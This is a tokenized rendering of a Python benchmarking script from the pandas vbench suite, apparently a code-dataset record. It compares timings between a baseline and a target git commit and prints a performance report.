"reg", "\\u", "rev", "\\u", "results", " ", "return", "s", " ", "an", " ", "unla", "bele", "d", " ", "dict", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "have", " ", "to", " ", "break", " ", "encapsulat", "ion", " ", "a", " ", "bit", "._", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "columns_", "=_", "db_", "._", "\\u", "results_", "._", "c_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "results_", "._", "join_", "(_", "bench_", "[_", "'", "name", "'_", "]_", ",_", "on_", "=_", "'", "checks", "um", "'_", ")_", "._", "set\\u", "index_", "(_", "\"", "checks", "um", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pr", "print_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"**", "*", " ", "%", "s", "\"_", "%_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pre", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "gc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gc_", "._", "disable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "gc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gc_", "._", "enable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "profile", "\\u", "compara", "tive_", "(_", "benchmarks", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "vb", "ench", "_", "._", "api_", "import_", "Benchmark", "Runner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "vb", "ench", "_", "._", "db_", "import_", "Benchmark", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "vb", "ench", "_", "._", "git_", "import_", "Git", "Repo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "suite_", "import_", "BUILD", "_", ",_", "DB", "\\u", "PATH_", ",_", "PREP", "ARE", "_", ",_", "dependencies_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TMP", "\\u", "DIR_", "=_", "args_", "._", "temp", "\\u", "dir_", "or_", "tempfile_", "._", "mkdtemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "\"", "Open", "ing", " ", "DB", " ", "at", " ", "'%", "s", "'...", "\\\\", "n", "\"_", "%_", "DB", "\\u", "PATH_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "=_", "Benchmark", "DB_", "(_", "DB", "\\u", "PATH_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "\"", "Initializ", "ing", " ", "Run", "ner", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "in", " ", "a", " ", "good", " ", "caus", "e", "..._", "\\u\\u\\uNL\\u\\u\\u_", "Git", "Repo_", "._", "\\u", "parse", "\\u", "commit", "\\u", "log_", "=_", "\\u", "parse", "\\u", "wrapper_", "(_", "args_", "._", "base", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "runner_", "=_", "Benchmark", "Runner_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "benchmarks", "_", ",_", "REPO", "\\u", "PATH_", ",_", "REPO", "\\u", "PATH_", ",_", "BUILD", "_", ",_", "DB", "\\u", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "TMP", "\\u", "DIR_", ",_", "PREP", "ARE", "_", ",_", "alw", "ay", "s", "\\u", "clean_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "run", "\\u", "option", "='", "eo", "d", "',", " ", "start", "\\u", "date", "=", "START", "\\u", "DAT", "E", ",_", "\\u\\u\\uNL\\u\\u\\u_", "module", "\\u", "dependencies_", "=_", "dependencies_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo_", "=_", "runner_", "._", "repo_", "#", " ", "(", "stea", "l", " ", "the", " ", "parsed", " ", "git", " ", "repo", " ", "used", " ", "by", " ", "runn", "er", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "\\u", "head_", "=_", "args_", "._", "target", "\\u", "commit_", "or_", "repo_", "._", "sha", "s_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "\\u", "baseline_", "=_", "args_", "._", "base", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ARG", "H", ".", " ", "repar", "se", " ", "the", " ", "repo", ",", " ", "with", "out", " ", "discard", "ing", " ", "any", " ", "commit", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "then", " ", "overwrit", "e", " ", "the", " ", "previ", "ous", " ", "parse", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pr", "print", "(\"", "Sla", "ugh", "teri", "ng", " ", "kitt", "ens", "...\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "repo_", "._", "sha", "s_", ",_", "repo_", "._", "messages_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repo_", "._", "timestamps_", ",_", "repo_", "._", "authors_", ")_", "=_", "\\u", "parse", "\\u", "commit", "\\u", "log_", "(_", "None_", ",_", "REPO", "\\u", "PATH_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "._", "base", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "'", "Target", " ", "[", "%", "s", "]", " ", ":", " ", "%", "s", "\\\\", "n", "'_", "%_", "(_", "h", "\\u", "head_", ",_", "repo_", "._", "messages_", "._", "get_", "(_", "h", "\\u", "head_", ",_", "\"\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pr", "print_", "(_", "'", "Base", "line", " ", "[", "%", "s", "]", " ", ":", " ", "%", "s", "\\\\", "n", "'_", "%_", "(_", "h", "\\u", "baseline_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repo_", "._", "messages_", "._", "get_", "(_", "h", "\\u", "baseline_", ",_", "\"\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "\"", "Remo", "ving", " ", "any", " ", "previ", "ous", " ", "measure", "ment", "s", " ", "for", " ", "the", " ", "commit", "s", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "delete", "\\u", "rev", "\\u", "results_", "(_", "h", "\\u", "baseline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "delete", "\\u", "rev", "\\u", "results_", "(_", "h", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "we", " ", "coul", "d", " ", "skip", " ", "this", ",", " ", "but", " ", "we", " ", "need", " ", "to", " ", "make", " ", "sure", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "results", " ", "are", " ", "in", " ", "the", " ", "DB", ",", " ", "whi", "ch", " ", "is", " ", "a", " ", "litt", "le", " ", "trick", "y", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "start", " ", "dates", " ", "and", " ", "so", " ", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "\"", "Run", "ning", " ", "benchmarks", " ", "for", " ", "baseline", " ", "[", "%", "s", "]\"_", "%_", "h", "\\u", "baseline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runner_", "._", "\\u", "run", "\\u", "and", "\\u", "write", "\\u", "results_", "(_", "h", "\\u", "baseline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "\"", "Run", "ning", " ", "benchmarks", " ", "for", " ", "target", " ", "[", "%", "s", "]\"_", "%_", "h", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runner_", "._", "\\u", "run", "\\u", "and", "\\u", "write", "\\u", "results_", "(_", "h", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pr", "print_", "(_", "'", "Process", "ing", " ", "results", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "head", "\\u", "res_", "=_", "get", "\\u", "results", "\\u", "df_", "(_", "db_", ",_", "h", "\\u", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "baseline", "\\u", "res_", "=_", "get", "\\u", "results", "\\u", "df_", "(_", "db_", ",_", "h", "\\u", "baseline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "report", "\\u", "compara", "tive_", "(_", "head", "\\u", "res_", ",_", "baseline", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "print", "(\"", "Dispo", "sing", " ", "of", " ", "TMP", "\\u", "DIR", ":", " ", "%", "s", "\"", " ", "%", " ", "TMP", "\\u", "DIR", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shutil_", "._", "rmtree_", "(_", "TMP", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prep", "\\u", "pickle", "\\u", "for", "\\u", "total_", "(_", "df_", ",_", "agg", "\\u", "name_", "=_", "'", "median", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "accepts", " ", "a", " ", "dataf", "ram", " ", "result", "ing", " ", "from", " ", "invocation", " ", "with", " ", "-", "H", " ", "-", "d", " ", "o", ".", "pickle", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "multiple", " ", "data", " ", "column", "s", " ", "are", " ", "presen", "t", " ", "(-", "N", " ", "was", " ", "used", "),", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "`", "agg", "\\u", "name", "`", " ", "attr", " ", "of", " ", "the", " ", "dataf", "ram", " ", "will", " ", "be", " ", "used", " ", "to", " ", "reduce", "\\", "10", ";", " ", " ", " ", " ", "them", " ", "to", " ", "a", " ", "single", " ", "value", " ", "per", " ", "vb", "ench", ",", " ", "df", ".", "median", " ", "is", " ", "used", " ", "by", " ", "def", "a", "\\", "10", ";", " ", " ", " ", " ", "ult", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "datad", "rame", " ", "of", " ", "the", " ", "form", " ", "expected", " ", "by", " ", "prep", "\\u", "totals", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "prep_", "(_", "df_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "agg_", "=_", "getattr_", "(_", "df_", ",_", "agg", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "=_", "Data", "Frame_", "(_", "agg_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cols_", "=_", "list_", "(_", "df_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cols_", "[_", "0_", "]_", "=_", "'", "tim", "ing", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "._", "columns_", "=_", "cols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "[_", "'", "name", "'_", "]_", "=_", "list_", "(_", "df_", "._", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "df_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "prep_", "(_", "df_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prep", "\\u", "totals_", "(_", "head", "\\u", "res_", ",_", "baseline", "\\u", "res_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ea", "ch", " ", "argu", "ment", " ", "shou", "ld", " ", "be", " ", "a", " ", "dataframe", " ", "with", " ", " ", "'", "tim", "ing", "'", " ", "and", " ", "'", "name", "'", " ", "column", "s", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "name", " ", "is", " ", "the", " ", "name", " ", "of", " ", "the", " ", "vb", "ench", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "return", "s", " ", "a", " ", "'", "totals", "'", " ", "dataframe", ",", " ", "suit", "able", " ", "as", " ", "input", " ", "for", " ", "print", "\\u", "report", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "head", "\\u", "res_", ",_", "baseline", "\\u", "res_", "=_", "head", "\\u", "res_", "._", "align_", "(_", "baseline", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ratio_", "=_", "head", "\\u", "res_", "[_", "'", "tim", "ing", "'_", "]_", "/_", "baseline", "\\u", "res_", "[_", "'", "tim", "ing", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "totals_", "=_", "Data", "Frame_", "(_", "{_", "HEAD", "\\u", "COL_", ":_", "head", "\\u", "res_", "[_", "'", "tim", "ing", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "BASE", "\\u", "COL_", ":_", "baseline", "\\u", "res_", "[_", "'", "tim", "ing", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ratio", "'_", ":_", "ratio_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "baseline", "\\u", "res_", "._", "name_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "columns_", "=_", "[_", "HEAD", "\\u", "COL_", ",_", "BASE", "\\u", "COL_", ",_", "\"", "ratio", "\"_", ",_", "\"", "name", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "totals_", "=_", "totals_", "._", "ix_", "[_", "totals_", "[_", "HEAD", "\\u", "COL_", "]_", ">_", "args_", "._", "min", "\\u", "duration_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ignore", " ", "belo", "w", " ", "threshold_", "\\u\\u\\uNL\\u\\u\\u_", "totals_", "=_", "totals_", "._", "dropna_", "(_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "sort_", "(_", "\"", "ratio", "\"_", ")_", "._", "set\\u", "index_", "(_", "'", "name", "'_", ")_", "#", " ", "sort", " ", "in", " ", "ascen", "ding", " ", "order_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "totals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "report", "\\u", "compara", "tive_", "(_", "head", "\\u", "res_", ",_", "baseline", "\\u", "res_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "git_", "._", "Repo_", "(_", "VB", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pdb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pdb_", "._", "set\\u", "trace_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "totals_", "=_", "prep", "\\u", "totals_", "(_", "head", "\\u", "res_", ",_", "baseline", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "head_", "=_", "args_", "._", "target", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "\\u", "baseline_", "=_", "args_", "._", "base", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "\\u", "msg_", "=_", "b", "\\u", "msg_", "=_", "\"", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "h", "\\u", "msg_", "=_", "r_", "._", "commit_", "(_", "h", "\\u", "head_", ")_", "._", "message_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "git_", "._", "exc_", "._", "Ba", "d", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b", "\\u", "msg_", "=_", "r_", "._", "commit_", "(_", "h", "\\u", "baseline_", ")_", "._", "message_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "git_", "._", "exc_", "._", "Ba", "d", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print", "\\u", "report_", "(_", "totals_", ",_", "h", "\\u", "head_", "=_", "h", "\\u", "head_", ",_", "h", "\\u", "msg_", "=_", "h", "\\u", "msg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "baseline_", "=_", "h", "\\u", "baseline_", ",_", "b", "\\u", "msg_", "=_", "b", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "args_", "._", "outd", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pr", "print_", "(_", "\"", "The", " ", "results", " ", "Data", "Frame", " ", "was", " ", "writt", "en", " ", "to", " ", "'%", "s", "'\\\\", "n", "\"_", "%_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "totals_", "._", "save_", "(_", "args_", "._", "outd", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "profile", "\\u", "head", "\\u", "single_", "(_", "benchmark_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "gc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "just", " ", "in", " ", "case_", "\\u\\u\\uNL\\u\\u\\u_", "gc_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ctypes_", "import_", "cdl", "l_", ",_", "CD", "LL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cdl", "l_", "._", "Load", "Library_", "(_", "\"", "libc", ".", "so", ".6", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "_", "=_", "CD", "LL_", "(_", "\"", "libc", ".", "so", ".6", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "_", "._", "malloc", "\\u", "trim_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "N_", "=_", "args_", "._", "hre", "pea", "ts_", "+_", "args_", "._", "burn", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "N_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gc_", "._", "disable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "benchmark_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "#", " ", "if", " ", "a", " ", "single", " ", "vb", "ench", " ", "burst", "s", " ", "int", "o", " ", "flame", "s", ",", " ", "don", "'", "t", " ", "die", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "err_", "=_", "d_", "._", "get_", "(_", "\"", "traceback", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "err_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "err_", "=_", "str_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "\"%", "s", " ", "die", "d", " ", "with", ":\\\\", "n", "%", "s", "\\\\", "n", "Ski", "ppi", "ng", "...", "\\\\", "n", "\"_", "%_", "(_", "benchmark_", "._", "name_", ",_", "err_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "._", "append_", "(_", "d_", "._", "get_", "(_", "'", "tim", "ing", "'_", ",_", "np_", "._", "nan_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gc_", "._", "enable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gc_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gc_", "._", "enable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "throw", " ", "awa", "y", " ", "the", " ", "burn", "\\u", "in_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "results_", "[_", "args_", "._", "burn", "in_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Series_", "(_", "results_", ",_", "name_", "=_", "benchmark_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "df", " ", "=", " ", "Data", "Frame", "(", "results", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "df", ".", "column", "s", " ", "=", " ", "[\"", "name", "\",", "HEAD", "\\u", "COL", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "df", ".", "set\\u", "index", "(\"", "name", "\")", "[", "HEAD", "\\u", "COL", "]_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "profile", "\\u", "head_", "(_", "benchmarks", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Perform", "ing", " ", "%", "d", " ", "benchmarks", " ", "(%", "d", " ", "runs", " ", "each", ")\"_", "%_", "(_", "len_", "(_", "benchmarks", "_", ")_", ",_", "args_", "._", "hre", "pea", "ts_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ss_", "=_", "[_", "profile", "\\u", "head", "\\u", "single_", "(_", "b_", ")_", "for_", "b_", "in_", "benchmarks", "_", "]_", 